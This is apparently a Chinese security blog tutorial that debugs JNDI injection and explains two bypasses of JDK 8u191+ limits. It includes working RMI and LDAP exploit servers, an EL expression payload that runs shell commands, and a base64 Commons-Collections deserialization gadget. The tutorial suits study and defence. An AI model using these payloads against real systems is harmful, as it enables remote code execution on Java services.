写在前面

RMI + JNDI Reference Payload

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对来说更加通用。

但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。

关于Reference等的介绍https://www.cnblogs.com/nice0e3/p/13958047.html

LDAP+JNDI Reference Payload

除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

绕过JDK8u191高版本限制

所以对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

环境搭建

用的是另一篇JNDI注入中的代码。绕过JDK 8u191+等高版本限制 - 图1

我的lib是从Tomcat源码中复制来的

绕过JDK 8u191+等高版本限制 - 图2

我们知道在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

低版本rmi调试

我们首先在低版本下断点调试

绕过JDK 8u191+等高版本限制 - 图3

前面lookup的部分差不多是获得rmi的路径,恶意类等。我们一直跟踪到这里

绕过JDK 8u191+等高版本限制 - 图4

进入decodeObject

绕过JDK 8u191+等高版本限制 - 图5

继续跟进getObjectInstance

绕过JDK 8u191+等高版本限制 - 图6

继续跟进getObjectFactoryFromReference,从Reference中获取ObjectFactory

然后就调用了loadClass和newInstance来加载远程恶意类

绕过JDK 8u191+等高版本限制 - 图7

绕过限制:利用本地Class作为Reference Factory

换到高版本之后再次看decodeObject函数。

发现跟低版本不一样的是

绕过JDK 8u191+等高版本限制 - 图8

多了一行判断,这里就是判断trustURLCodebase是否为true,而这个新版本的默认选项就是false。

虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

绕过JDK 8u191+等高版本限制 - 图9

这个情况下,目标Bean Class必须有一个无参构造方法,有public的setter方法且参数为一个String类型。

目标类将提供一个公共的无参数构造函数和只有一个“string”参数的公共setter。事实上,这些setter不一定以“set.”开头。因为“BeanFactory”含有一些逻辑,用于处理如何为任何参数指定一个任意的setter名称。

因此,通过使用“BeanFactory”类,我们可以使用默认构造函数创建任意类的实例,并使用一个“string”参数调用任意的公共方法。

绕过JDK 8u191+等高版本限制 - 图10

这里,我们找到了javax.el.ELProcessor可以作为目标Class。利用这个类的“eval”方法,我们可以指定一个字符串,用以表示要执行的Java表达式语言模板。

绕过JDK 8u191+等高版本限制 - 图11

下面是任意命令的恶意表达式

  1. {"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}

攻击

在打补丁之后,LDAP和RMI之间几乎没有什么区别,所以,为了简单起见,我们将使用RMI。

  1. public class Bypass191 {
  2. public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
  3. // Registry registry = LocateRegistry.createRegistry(1099);
  4. // Reference reference = new Reference("Evil", "Evil","http://127.0.0.1:8000/");
  5. // ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  6. // registry.bind("Exploit",referenceWrapper);
  7. Registry registry = LocateRegistry.createRegistry(1099);
  8. // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
  9. ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
  10. // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
  11. ref.add(new StringRefAddr("forceString", "KINGX=eval"));
  12. // 利用表达式执行命令
  13. ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
  14. ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
  15. registry.bind("Exploit", referenceWrapper);
  16. }
  17. }

这个服务器以序列化对象“org.apache.naming.Resourceref”作为响应,借助该对象精心构造的各种属性,就能在客户端上触发攻击者所需的行为。

好的此时的这里结果就是false了 就不用再抛出异常

然后继续跟进,进入这里

绕过JDK 8u191+等高版本限制 - 图12

最终到这里,依然可以加载本地类

绕过JDK 8u191+等高版本限制 - 图13

到这里加载org.apache.naming.factory.BeanFactory

总结:NamingManager类的getObjectInstance()函数,其中调用了getObjectFactoryFromReference()函数来从Reference中获取ObjectFactory类实例
通过loadClass()函数来加载我们传入的org.apache.naming.factory.BeanFactory
绕过JDK 8u191+等高版本限制 - 图14

接着再次进入org.apache.naming.factory.BeanFactorygetObjectInstance方法。

绕过JDK 8u191+等高版本限制 - 图15

首先判断obj是否为ResourceRef实例

这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例

绕过JDK 8u191+等高版本限制 - 图16

这里获取我们最初设置的KINGX=eval

绕过JDK 8u191+等高版本限制 - 图17

这里是将xjavax.el.ELProcessor类的eval()方法绑定并存入hashmap

最终调用到

绕过JDK 8u191+等高版本限制 - 图18

进入

绕过JDK 8u191+等高版本限制 - 图19

这里执行后弹出计算器

利用LDAP返回序列化数据,触发本地Gadget

之前在JNDI注入的文章中讲到了可以利用LDAP+Reference的方式进行攻击利用,但是在JDK 8u191以后的版本中增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。但是,攻击者仍然可以通过服务端本地ClassPath中存在的反序列化漏洞Gadget来绕过高版本JDK的限制。

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用(这里不再赘述,示例代码可以参考文末的Demo链接)。不过像前文所说的,高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。此时,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。

简而言之,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。其中具体的处理代码如下:

  1. if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
  2. ClassLoader cl = helper.getURLClassLoader(codebases);
  3. return deserializeObject((byte[])attr.get(), cl);
  4. }

攻击利用

假设目标环境存在Commons-Collections-3.2.1包,且存在JNDI的lookup()注入或Fastjson反序列化漏洞。

  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.2.1</version>
  5. </dependency>

使用ysoserial工具生成Commons-Collections这条Gadget并进行Base64编码输出:

我们的恶意服务

  1. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  3. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  4. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  5. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  6. import com.unboundid.ldap.sdk.Entry;
  7. import com.unboundid.ldap.sdk.LDAPException;
  8. import com.unboundid.ldap.sdk.LDAPResult;
  9. import com.unboundid.ldap.sdk.ResultCode;
  10. import com.unboundid.util.Base64;
  11. import javax.net.ServerSocketFactory;
  12. import javax.net.SocketFactory;
  13. import javax.net.ssl.SSLSocketFactory;
  14. import java.net.InetAddress;
  15. import java.net.MalformedURLException;
  16. import java.net.URL;
  17. import java.text.ParseException;
  18. public class LDAPbypass {
  19. private static final String LDAP_BASE = "dc=example,dc=com";
  20. public static void main (String[] args) {
  21. String url = "http://127.0.0.1:8000/#EvilObject";
  22. int port = 1234;
  23. try {
  24. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  25. config.setListenerConfigs(new InMemoryListenerConfig(
  26. "listen",
  27. InetAddress.getByName("0.0.0.0"),
  28. port,
  29. ServerSocketFactory.getDefault(),
  30. SocketFactory.getDefault(),
  31. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  32. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
  33. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  34. System.out.println("Listening on 0.0.0.0:" + port);
  35. ds.startListening();
  36. }
  37. catch ( Exception e ) {
  38. e.printStackTrace();
  39. }
  40. }
  41. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  42. private URL codebase;
  43. /**
  44. *
  45. */
  46. public OperationInterceptor ( URL cb ) {
  47. this.codebase = cb;
  48. }
  49. /**
  50. * {@inheritDoc}
  51. *
  52. * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
  53. */
  54. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  55. String base = result.getRequest().getBaseDN();
  56. Entry e = new Entry(base);
  57. try {
  58. sendResult(result, base, e);
  59. }
  60. catch ( Exception e1 ) {
  61. e1.printStackTrace();
  62. }
  63. }
  64. protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
  65. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  66. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  67. e.addAttribute("javaClassName", "Exploit");
  68. String cbstring = this.codebase.toString();
  69. int refPos = cbstring.indexOf('#');
  70. if ( refPos > 0 ) {
  71. cbstring = cbstring.substring(0, refPos);
  72. }
  73. // Payload1: 利用LDAP+Reference Factory
  74. // e.addAttribute("javaCodeBase", cbstring);
  75. // e.addAttribute("objectClass", "javaNamingReference");
  76. // e.addAttribute("javaFactory", this.codebase.getRef());
  77. // Payload2: 返回序列化Gadget
  78. try {
  79. e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
  80. } catch (ParseException exception) {
  81. exception.printStackTrace();
  82. }
  83. result.sendSearchEntry(e);
  84. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  85. }
  86. }
  87. }

弹出计算器

绕过JDK 8u191+等高版本限制 - 图20

调试分析

前面都是lookup函数之间的跳转,主要到这里进入decodeObject

绕过JDK 8u191+等高版本限制 - 图21

到这里会进入反序列化

绕过JDK 8u191+等高版本限制 - 图22

绕过JDK 8u191+等高版本限制 - 图23

就进入了正常的反序列化流程。

参考

https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/#低版本-1

https://paper.seebug.org/942/

https://xz.aliyun.com/t/3787

https://blog.csdn.net/solitudi/article/details/120737374?utm_medium=distribute.pc_relevant.none-task-blog-2baidujs_title~default-0.no_search_link&spm=1001.2101.3001.4242.1